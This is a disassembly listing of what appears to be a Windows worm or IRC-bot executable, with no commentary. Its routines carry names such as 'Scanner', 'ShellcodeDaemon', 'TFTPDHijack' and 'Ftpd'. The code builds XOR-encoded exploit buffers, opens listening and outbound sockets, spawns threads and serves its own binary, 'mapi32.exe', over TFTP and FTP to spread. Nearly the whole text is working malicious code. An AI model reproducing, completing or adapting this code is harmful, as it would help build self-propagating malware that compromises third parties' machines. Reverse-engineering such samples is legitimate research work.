		cmp	[ebp+var_35], 0
		jz	short loc_4074A6
		and	[ebp+var_30], 0


loc_407453:				; CODE XREF: sub_407282+222j
		mov	eax, [ebp+var_30]
		imul	eax, 2Ch
		mov	dx, word ptr dword_402BE0[eax]
		test	dx, dx
		jz	short loc_4074D1
		cmp	byte_402BF0[eax], 0
		jz	short loc_4074A1
		mov	cx, [esi+4]
		cmp	dx, cx
		jnz	short loc_4074A1
		mov	edx, [ebp+var_30]
		mov	[ebp+var_20], edx
		lea	edx, [edi+edi*4]
		mov	edx, [ebx+edx*4+4]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_24], cx
		push	0
		push	1
		lea	ecx, [ebp+var_24]
		push	ecx
		push	off_402BE4[eax]
		call	sub_40A45C
		add	esp, 10h


loc_4074A1:				; CODE XREF: sub_407282+1EAj
					; sub_407282+1F3j
		inc	[ebp+var_30]
		jmp	short loc_407453
; ---------------------------------------------------------------------------


loc_4074A6:				; CODE XREF: sub_407282+1CBj
		push	edi
		movzx	eax, word ptr [esi+4]
		push	eax
		push	dword ptr [ecx+4]
		call	sub_40715A
		pop	ecx
		push	eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BB0[eax]
		push	offset dword_402E5C
		call	sub_405185
		add	esp, 14h


loc_4074D1:				; CODE XREF: sub_407282+14Ej
					; sub_407282+157j ...
		lea	eax, [edi+edi*4]
		lea	ebx, [ebx+eax*4]
		call	sub_40710B
		mov	[ebx+4], eax
		mov	dword ptr [ebx], 1


loc_4074E5:				; CODE XREF: sub_407282+160j
					; sub_407282+169j
		inc	edi
		jmp	loc_4073AF
; ---------------------------------------------------------------------------


loc_4074EB:				; CODE XREF: sub_407282+133j
		mov	edi, [ebp+var_28]
		jmp	loc_4073A0
; ---------------------------------------------------------------------------


loc_4074F3:				; CODE XREF: sub_407282+125j
		push	2710h
		call	dword_4010F4	; Sleep
		xor	ebx, ebx


loc_407500:				; CODE XREF: sub_407282+296j
		mov	[ebp+var_2C], ebx
		cmp	ebx, [esi+14h]
		jge	short loc_40751A
		push	0
		lea	eax, [ebx+ebx*4]
		push	dword ptr [edi+eax*4+10h]
		call	dword_4010E4	; TerminateThread
		inc	ebx
		jmp	short loc_407500
; ---------------------------------------------------------------------------


loc_40751A:				; CODE XREF: sub_407282+284j
		mov	[ebp+var_34], edi
		push	edi
		call	sub_40AC40
		pop	ecx
		jmp	short loc_40752D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_40752D:				; CODE XREF: sub_407282+2A2j
		or	[ebp+var_4], 0FFFFFFFFh
		push	offset dword_40B080
		call	dword_4010E8	; RtlLeaveCriticalSection
		push	offset aScanner	; "Scanner"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	0
		call	dword_4010EC	; ExitThread
sub_407282	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407556	proc near		; CODE XREF: sub_407617+59p
					; sub_407617+7Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	esi
		cmp	[ebp+arg_4], edx
		jbe	short loc_407585


loc_407561:				; CODE XREF: sub_407556+2Dj
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jbe	short loc_40757F
		mov	eax, [ebp+arg_0]
		mov	al, [edx+eax]
		xor	al, [ebp+arg_10]


loc_407571:				; CODE XREF: sub_407556+27j
		mov	esi, [ebp+arg_8]
		cmp	al, [ecx+esi]
		jz	short loc_40758A
		inc	ecx
		cmp	ecx, [ebp+arg_C]
		jb	short loc_407571


loc_40757F:				; CODE XREF: sub_407556+10j
		inc	edx
		cmp	edx, [ebp+arg_4]
		jb	short loc_407561


loc_407585:				; CODE XREF: sub_407556+9j
		xor	al, al


loc_407587:				; CODE XREF: sub_407556+36j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40758A:				; CODE XREF: sub_407556+21j
		mov	al, 1
		jmp	short loc_407587
sub_407556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40758E	proc near		; CODE XREF: sub_407617+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 153h
		cmp	[ebp+arg_4], edi
		jnb	short loc_4075A0
		xor	eax, eax
		jmp	short loc_407614
; ---------------------------------------------------------------------------


loc_4075A0:				; CODE XREF: sub_40758E+Cj
		push	esi
		call	dword_4010FC	; GetTickCount
		push	eax
		call	sub_40AC3A
		mov	esi, [ebp+arg_0]
		push	edi
		push	offset dword_402F5C
		push	esi
		call	sub_40AC2E
		mov	eax, [ebp+arg_8]
		add	esp, 10h
		mov	[esi+0D3h], eax
		push	[ebp+arg_C]
		call	dword_401230
		mov	[esi+0DAh], ax
		mov	eax, [ebp+arg_10]
		push	7Ah
		push	61h
		mov	[esi+0F6h], eax
		call	sub_40A818
		push	7Ah
		push	61h
		mov	[esi+111h], al
		call	sub_40A818
		push	7Ah
		push	61h
		mov	[esi+112h], al
		call	sub_40A818
		add	esp, 18h
		mov	[esi+113h], al
		mov	eax, edi
		pop	esi


loc_407614:				; CODE XREF: sub_40758E+10j
		pop	edi
		pop	ebp
		retn
sub_40758E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407617	proc near		; CODE XREF: sub_405DB7+61p
					; sub_405DB7+32Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 16Fh
		jnb	short loc_407629
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_407629:				; CODE XREF: sub_407617+Cj
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	1Ch
		push	offset loc_402F3C
		lea	ebx, [edi+1Ch]
		push	edi
		mov	[ebp+var_4], ebx
		call	sub_40AC2E
		push	[ebp+arg_10]
		mov	esi, 153h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		push	ebx
		call	sub_40758E
		mov	eax, dword_402F38
		add	esp, 20h
		mov	[ebp+arg_4], eax


loc_407662:				; CODE XREF: sub_407617+94j
		push	0
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	4
		push	eax
		call	sub_407556
		add	esp, 14h
		test	al, al
		jnz	short loc_40769E
		mov	eax, [ebp+arg_4]
		push	0
		push	[ebp+arg_18]
		xor	eax, esi
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	[ebp+arg_14]
		push	4
		push	eax
		call	sub_407556
		add	esp, 14h
		test	al, al
		jz	short loc_4076AD


loc_40769E:				; CODE XREF: sub_407617+63j
		call	sub_40A856
		mov	[ebp+arg_4], eax
		mov	dword_402F38, eax
		jmp	short loc_407662
; ---------------------------------------------------------------------------


loc_4076AD:				; CODE XREF: sub_407617+85j
		mov	eax, [ebp+arg_4]
		mov	[edi+3], eax
		mov	eax, [ebp+var_8]
		mov	[edi+9], eax
		mov	bl, byte_402F34
		mov	byte ptr [ebp+arg_0], bl


loc_4076C2:				; CODE XREF: sub_407617+D4j
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+var_4]
		call	sub_407556
		add	esp, 14h
		test	al, al
		jz	short loc_4076ED
		call	sub_40A86A
		mov	bl, al
		mov	byte ptr [ebp+arg_0], bl
		mov	byte_402F34, bl
		jmp	short loc_4076C2
; ---------------------------------------------------------------------------


loc_4076ED:				; CODE XREF: sub_407617+C2j
		mov	[edi+12h], bl
		xor	eax, eax


loc_4076F2:				; CODE XREF: sub_407617+E5j
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		xor	[ecx], bl
		inc	eax
		cmp	eax, esi
		jb	short loc_4076F2
		pop	edi
		pop	esi
		mov	eax, 16Fh
		pop	ebx
		leave
		retn
sub_407617	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407708	proc near		; DATA XREF: sub_40785E+B3o

var_270		= byte ptr -270h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 270h
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_40123C
		cmp	eax, 4
		jz	short loc_407732
		push	ebx
		call	dword_4010EC	; ExitThread


loc_407732:				; CODE XREF: sub_407708+21j
		cmp	word ptr dword_402BE0, bx
		mov	[ebp+var_4], ebx
		jz	short loc_407756
		mov	eax, offset dword_402BE0


loc_407743:				; CODE XREF: sub_407708+4Cj
		mov	ecx, [eax+0Ch]
		cmp	ecx, [ebp+var_C]
		jz	short loc_407764
		inc	[ebp+var_4]
		add	eax, 2Ch
		cmp	[eax], bx
		jnz	short loc_407743


loc_407756:				; CODE XREF: sub_407708+34j
		push	edi
		call	sub_408616
		pop	ecx
		push	ebx
		call	dword_4010EC	; ExitThread


loc_407764:				; CODE XREF: sub_407708+41j
		lea	eax, [ebp+var_70]
		push	eax
		push	edi
		call	sub_40854A
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_407784
		lea	eax, [ebp+var_70]
		push	offset aUnknown	; "unknown"
		push	eax
		call	sub_40ABA0
		pop	ecx
		pop	ecx


loc_407784:				; CODE XREF: sub_407708+6Aj
		push	offset dword_4030FC
		push	offset aMapi32_exe ; "mapi32.exe"
		call	sub_40AC52
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_4077AB
		push	edi
		call	sub_408616
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4077AB:				; CODE XREF: sub_407708+92j
		push	esi
		mov	esi, 200h
		push	eax
		push	esi
		lea	eax, [ebp+var_270]
		push	1
		push	eax
		call	sub_40AC4C
		add	esp, 10h
		push	ebx
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		push	edi
		mov	edi, dword_401244


loc_4077D4:				; CODE XREF: sub_407708+F8j
		call	edi ; dword_401244
		cmp	eax, ebx
		jz	short loc_407802
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407802
		push	[ebp+var_8]
		lea	eax, [ebp+var_270]
		push	esi
		push	1
		push	eax
		call	sub_40AC4C
		add	esp, 10h
		push	ebx
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		push	[ebp+arg_0]
		jmp	short loc_4077D4
; ---------------------------------------------------------------------------


loc_407802:				; CODE XREF: sub_407708+D0j
					; sub_407708+D5j
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+var_70]
		imul	esi, 2Ch
		inc	dword_402BE8[esi]
		push	eax
		lea	edi, dword_402BE8[esi]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_409570
		pop	ecx
		push	eax
		mov	eax, dword_40372C
		push	dword ptr [edi]
		imul	eax, 1Ch
		push	off_402BDC[esi]
		push	off_401BB0[eax]
		push	offset dword_4030B0
		call	sub_405185
		push	[ebp+arg_0]
		call	sub_408616
		push	[ebp+var_8]
		call	sub_40AC46
		add	esp, 20h
		push	ebx
		call	dword_4010EC	; ExitThread
		pop	esi
sub_407708	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40785E	proc near		; DATA XREF: sub_40933F+171o

var_4940	= byte ptr -4940h
var_491C	= byte ptr -491Ch
var_471C	= byte ptr -471Ch
var_4718	= byte ptr -4718h
var_2718	= byte ptr -2718h
var_2618	= byte ptr -2618h
var_1848	= byte ptr -1848h
var_1844	= byte ptr -1844h
var_1840	= byte ptr -1840h
var_146C	= byte ptr -146Ch
var_1468	= byte ptr -1468h
var_1464	= byte ptr -1464h
var_618		= byte ptr -618h
var_418		= byte ptr -418h
var_218		= byte ptr -218h
var_216		= byte ptr -216h
var_215		= byte ptr -215h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	6
		push	1
		push	2
		call	dword_401234
		mov	esi, offset aShellcodedaemo ; "ShellcodeDaemon"
		mov	edi, eax
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		xor	ebx, ebx
		mov	dword_40B0E0[eax*8], edi
		mov	eax, [ebp+arg_0]
		push	ebx
		movzx	eax, word ptr [eax]
		push	eax
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	dword_40B0E0[eax*8]
		call	sub_4085A6
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4078C7
		push	esi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4010EC	; ExitThread


loc_4078C7:				; CODE XREF: sub_40785E+52j
					; sub_40785E+E2j ...
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	dword_40B0E0[eax*8]
		call	dword_4011F8
		push	esi
		mov	edi, eax
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		cmp	edi, 0FFFFFFFFh
		pop	ecx
		mov	dword_40B0E4[eax*8], edi
		jz	short loc_40791E
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	dword_40B0E4[eax*8]
		push	offset sub_407708
		push	ebx
		push	ebx
		call	dword_4010D4	; CreateThread


loc_40791E:				; CODE XREF: sub_40785E+9Bj
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	esi
		cmp	dword_40B0E0[eax*8], 0FFFFFFFFh
		jnz	short loc_407942
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		jmp	short loc_4078C7
; ---------------------------------------------------------------------------


loc_407942:				; CODE XREF: sub_40785E+D3j
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		cmp	dword_40B0E0[eax*8], ebx
		jnz	loc_4078C7
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		push	dword_40B0E0[eax*8]
		call	sub_408616
		push	esi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		add	esp, 10h
		push	ebx
		call	dword_4010EC	; ExitThread
		push	ebp
		mov	ebp, esp
		mov	eax, 4940h
		call	sub_40ABE0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	7
		push	offset dword_402260
		mov	eax, [edi+4]
		mov	esi, 200h
		imul	eax, 2Ch
		push	dword_402BEC[eax]
		mov	ax, word_40B24A
		push	eax
		lea	eax, [ebp+var_618]
		push	dword_40B244
		push	esi
		push	eax
		call	sub_407617
		xor	ebx, ebx
		add	esp, 1Ch
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_4079DB
		push	ebx
		call	dword_4010EC	; ExitThread


loc_4079DB:				; CODE XREF: sub_40785E+174j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_40AC10
		mov	eax, [edi+8]
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		mov	ax, [edi]
		push	eax
		mov	[ebp+var_18], 2
		call	dword_401230
		push	ebx
		push	ebx
		push	ebx
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_401200
		lea	ecx, [ebp+var_18]
		push	10h
		push	ecx
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		push	ebx
		jnz	short loc_407A2F
		call	dword_4010EC	; ExitThread


loc_407A2F:				; CODE XREF: sub_40785E+1C9j
		mov	edi, dword_40123C
		lea	eax, [ebp+var_218]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	edi ; dword_40123C
		lea	eax, [ebp+var_215]
		push	1
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40AC2E
		lea	eax, [ebp+var_216]
		push	1
		push	eax
		lea	eax, [ebp+0]
		push	eax
		call	sub_40AC2E
		add	esp, 18h
		lea	eax, [ebp+var_218]
		push	ebx
		push	[ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	edi ; dword_40123C
		push	esi
		lea	eax, [ebp+var_418]
		push	58h
		push	eax
		call	sub_40AC10
		mov	ebx, 2000h
		lea	eax, [ebp+var_2618]
		push	ebx
		push	90h
		push	eax
		call	sub_40AC10
		lea	eax, [ebp+var_618]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_1848]
		sub	eax, [ebp+var_8]
		push	eax
		call	sub_40AC2E
		mov	edi, offset loc_4023A4
		push	2
		lea	eax, [ebp+var_1848]
		push	edi
		push	eax
		call	sub_40AC2E
		push	4
		lea	eax, [ebp+var_1844]
		push	offset dword_403168
		push	eax
		call	sub_40AC2E
		push	5
		lea	eax, [ebp+var_1840]
		push	offset dword_403160
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		lea	eax, [ebp+var_146C]
		push	2
		push	edi
		push	eax
		call	sub_40AC2E
		push	4
		lea	eax, [ebp+var_1468]
		push	offset dword_403158
		push	eax
		call	sub_40AC2E
		push	5
		lea	eax, [ebp+var_1464]
		push	offset dword_403150
		push	eax
		call	sub_40AC2E
		push	24h
		lea	eax, [ebp+var_4940]
		push	offset aA	; ""
		push	eax
		call	sub_40AC2E
		push	esi
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_491C]
		push	eax
		call	sub_40AC2E
		push	4
		lea	eax, [ebp+var_471C]
		push	offset dword_403148
		push	eax
		call	sub_40AC2E
		add	esp, 48h
		lea	eax, [ebp+var_2618]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4718]
		push	eax
		call	sub_40AC2E
		push	4
		lea	eax, [ebp+var_2718]
		push	offset dword_403140
		push	eax
		call	sub_40AC2E
		add	esp, 18h
		lea	eax, [ebp+var_4940]
		push	0
		push	222Ch
		push	eax
		push	[ebp+arg_0]
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407BB8
		push	0
		call	dword_4010EC	; ExitThread


loc_407BB8:				; CODE XREF: sub_40785E+350j
		push	[ebp+arg_0]
		call	sub_408616
		pop	ecx
		push	1
		call	dword_4010EC	; ExitThread
sub_40785E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BC9	proc near		; DATA XREF: sub_40933F+132o

var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_340		= byte ptr -340h
var_33F		= byte ptr -33Fh
var_33E		= byte ptr -33Eh
var_33D		= byte ptr -33Dh
var_23C		= byte ptr -23Ch
var_23B		= byte ptr -23Bh
var_23A		= byte ptr -23Ah
var_239		= byte ptr -239h
var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 444h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		push	2
		push	2
		call	dword_401234
		mov	esi, offset aTftpdhijack ; "TFTPDHijack"
		mov	edi, eax
		push	esi
		mov	[ebp+var_4], edi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		push	1
		push	45h
		push	edi
		mov	dword_40B0E0[eax*8], edi
		call	sub_4085A6
		add	esp, 10h
		test	al, al
		jnz	short loc_407C1C
		push	esi
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		jmp	short loc_407C3A
; ---------------------------------------------------------------------------


loc_407C1C:				; CODE XREF: sub_407BC9+42j
		push	offset dword_4030FC
		push	offset aMapi32_exe ; "mapi32.exe"
		call	sub_40AC52
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_407C44
		push	edi
		call	sub_408616


loc_407C3A:				; CODE XREF: sub_407BC9+51j
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407C44:				; CODE XREF: sub_407BC9+69j
		mov	edi, dword_401258
		mov	esi, 200h


loc_407C4F:				; CODE XREF: sub_407BC9+D2j
					; sub_407BC9+17Ej ...
		mov	eax, [ebp+var_4]
		push	104h
		mov	[ebp+var_440], eax
		lea	eax, [ebp+var_340]
		push	ebx
		push	eax
		mov	[ebp+var_18], 5
		mov	[ebp+var_14], 1388h
		mov	[ebp+var_444], 1
		call	sub_40AC10
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	ebx
		call	dword_4011F0
		test	eax, eax
		jle	short loc_407C4F
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	ebx
		lea	eax, [ebp+var_340]
		push	104h
		push	eax
		push	[ebp+var_4]
		call	dword_4011FC
		push	[ebp+var_24]
		call	dword_401220
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40AB94
		cmp	[ebp+var_340], bl
		pop	ecx
		pop	ecx
		jnz	loc_407E19
		cmp	[ebp+var_33F], 1
		jnz	short loc_407D4C
		push	offset aMapi32_exe ; "mapi32.exe"
		call	sub_40ABD2
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_40AC58
		push	[ebp+var_8]
		lea	eax, [ebp+var_238]
		mov	[ebp+var_23C], bl
		mov	[ebp+var_23B], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_23A], bl
		mov	[ebp+var_239], 1
		call	sub_40AC4C
		add	esp, 20h
		lea	ecx, [ebp+var_28]
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax


loc_407D42:				; CODE XREF: sub_407BC9+25Fj
		push	[ebp+var_4]
		call	edi ; dword_401258
		jmp	loc_407C4F
; ---------------------------------------------------------------------------


loc_407D4C:				; CODE XREF: sub_407BC9+121j
		cmp	[ebp+var_33F], 4
		jnz	loc_407E19
		mov	cl, [ebp+var_33D]
		mov	al, [ebp+var_33E]
		cmp	cl, 0FFh
		mov	[ebp+var_23C], bl
		mov	[ebp+var_23B], 3
		jnz	short loc_407D89
		inc	al
		xor	cl, cl
		mov	[ebp+var_23A], al
		mov	[ebp+var_239], bl
		jmp	short loc_407D97
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_407BC9+1ACj
		inc	cl
		mov	[ebp+var_23A], al
		mov	[ebp+var_239], cl


loc_407D97:				; CODE XREF: sub_407BC9+1BEj
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_40AC58
		push	[ebp+var_8]
		lea	eax, [ebp+var_238]
		push	esi
		push	1
		push	eax
		call	sub_40AC4C
		add	esp, 1Ch
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_10], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_4]
		call	edi ; dword_401258
		cmp	[ebp+var_10], ebx
		jnz	loc_407C4F
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_409570
		pop	ecx
		push	eax
		mov	eax, dword_40372C
		imul	eax, 1Ch
		push	off_401BB0[eax]
		push	offset dword_40317C
		call	sub_405185
		add	esp, 10h
		jmp	loc_407C4F
; ---------------------------------------------------------------------------


loc_407E19:				; CODE XREF: sub_407BC9+114j
					; sub_407BC9+18Aj
		push	[ebp+var_C]
		lea	eax, [ebp+var_28]
		push	eax
		push	ebx
		push	9
		push	offset dword_403170
		jmp	loc_407D42
sub_407BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E2D	proc near		; CODE XREF: sub_407F46+4FDp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	1
		push	2
		call	dword_401234
		push	[ebp+arg_0]
		mov	dword_40B098, eax
		mov	[ebp+var_10], 2
		call	dword_40124C
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_401230
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_40B098
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_407E2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E7D	proc near		; CODE XREF: sub_407F46+508p

var_520		= dword	ptr -520h
var_51C		= byte ptr -51Ch
var_418		= byte ptr -418h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404448
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 510h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	104h
		lea	eax, [ebp+var_51C]
		push	eax
		push	ebx
		call	dword_4010D0	; GetModuleFileNameA
		push	offset dword_4030FC
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_40AC52
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_520], edi
		cmp	edi, ebx
		jnz	short loc_407EE5
		or	[ebp+var_4], 0FFFFFFFFh
		xor	al, al
		jmp	short loc_407F37
; ---------------------------------------------------------------------------


loc_407EE5:				; CODE XREF: sub_407E7D+5Ej
		mov	esi, 400h


loc_407EEA:				; CODE XREF: sub_407E7D+A3j
		test	byte ptr [edi+0Ch], 10h
		push	edi
		jnz	short loc_407F22
		push	1
		push	esi
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_40AC4C
		add	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_418]
		push	eax
		push	dword_40B098
		call	dword_401244
		push	1
		call	dword_4010F4	; Sleep
		jmp	short loc_407EEA
; ---------------------------------------------------------------------------


loc_407F22:				; CODE XREF: sub_407E7D+72j
		call	sub_40AC46
		pop	ecx
		jmp	short loc_407F31
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_407F31:				; CODE XREF: sub_407E7D+ABj
		or	[ebp+var_4], 0FFFFFFFFh
		mov	al, 1


loc_407F37:				; CODE XREF: sub_407E7D+66j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407E7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F46	proc near		; DATA XREF: sub_40933F+19Eo

var_514		= dword	ptr -514h
var_410		= byte ptr -410h
var_390		= byte ptr -390h
var_350		= byte ptr -350h
var_310		= byte ptr -310h
var_290		= byte ptr -290h
var_210		= byte ptr -210h
var_1D0		= byte ptr -1D0h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_BC		= byte ptr -0BCh
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		mov	[ebp+var_1C0], edi
		mov	[ebp+var_514], edi
		call	dword_401234
		mov	esi, offset aFtpd ; "Ftpd"
		mov	ebx, eax
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	edi
		mov	dword_40B0E0[eax*8], ebx
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		push	eax
		push	esi
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		pop	ecx
		push	dword_40B0E0[eax*8]
		call	sub_4085A6
		add	esp, 0Ch
		test	al, al
		push	esi
		jnz	short loc_407FBD
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4010EC	; ExitThread


loc_407FBD:				; CODE XREF: sub_407F46+61j
		call	sub_40A64F
		lea	eax, [eax+eax*2]
		push	esi
		mov	[ebp+var_1C0], 1
		mov	eax, dword_40B0E0[eax*8]
